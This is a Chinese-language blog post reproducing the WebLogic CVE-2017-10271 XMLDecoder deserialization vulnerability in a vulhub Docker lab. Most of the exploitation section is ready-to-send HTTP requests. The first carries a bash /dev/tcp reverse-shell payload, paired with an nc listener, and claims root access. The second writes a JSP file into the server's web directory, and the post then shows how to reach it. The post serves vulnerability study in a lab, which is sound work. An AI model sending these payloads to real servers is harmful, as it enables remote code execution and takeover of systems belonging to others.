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  • Weblogic(CVE-2017-10271)漏洞复现

    环境部署

    首先下载vulhub项目地址:https://github.com/vulhub/vulhub 

    进入需要部署的系统环境:

    1 root@test-virtual-machine:/home/test# cd vulhub-master/weblogic/CVE-2017-10271/

    使用docker编译启动(出现done表示已经启动完成)

    root@test-virtual-machine:/home/test/桌面/vulhub-master/weblogic/CVE-2017-10271# docker-compose up -d

    建议提前给docker配置镜像加速器(方法在另一篇博客)

    访问`http://your-ip:7001/`即可看到一个404页面,说明weblogic已成功启动。

    漏洞利用

    1、初步判断:访问 http://192.168.12.147:7001/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞

    2、nc监听端口,构造POST包进行测试,反弹shell

    使用nc 监听 21端口

    nc -l -p 21

    发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
    
    ```
    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 633
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/21 0&gt;&amp;1</string> 
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

    成功反弹shell得到root权限

    写入一句话木马

     1 POST /wls-wsat/CoordinatorPortType HTTP/1.1
     2 Host: you-ip:7001
     3 Accept-Encoding: gzip, deflate
     4 Accept: */*
     5 Accept-Language: en
     6 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
     7 Connection: close
     8 Content-Type: text/xml
     9 Content-Length: 638
    10 
    11 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    12     <soapenv:Header>
    13     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    14     <java><java version="1.4.0" class="java.beans.XMLDecoder">
    15     <object class="java.io.PrintWriter"> 
    16     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    17     <void method="println"><string>
    18     <![CDATA[
    19 <% out.print("test"); %>
    20     ]]>
    21     </string>
    22     </void>
    23     <void method="close"/>
    24     </object></java></java>
    25     </work:WorkContext>
    26     </soapenv:Header>
    27     <soapenv:Body/>
    28 </soapenv:Envelope>

     使用brup构造发包:

    访问shell

    http://192.168.1.15:7001/bea_wls_internal/test.jsp

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  • 原文地址:https://www.cnblogs.com/xyongsec/p/11125511.html
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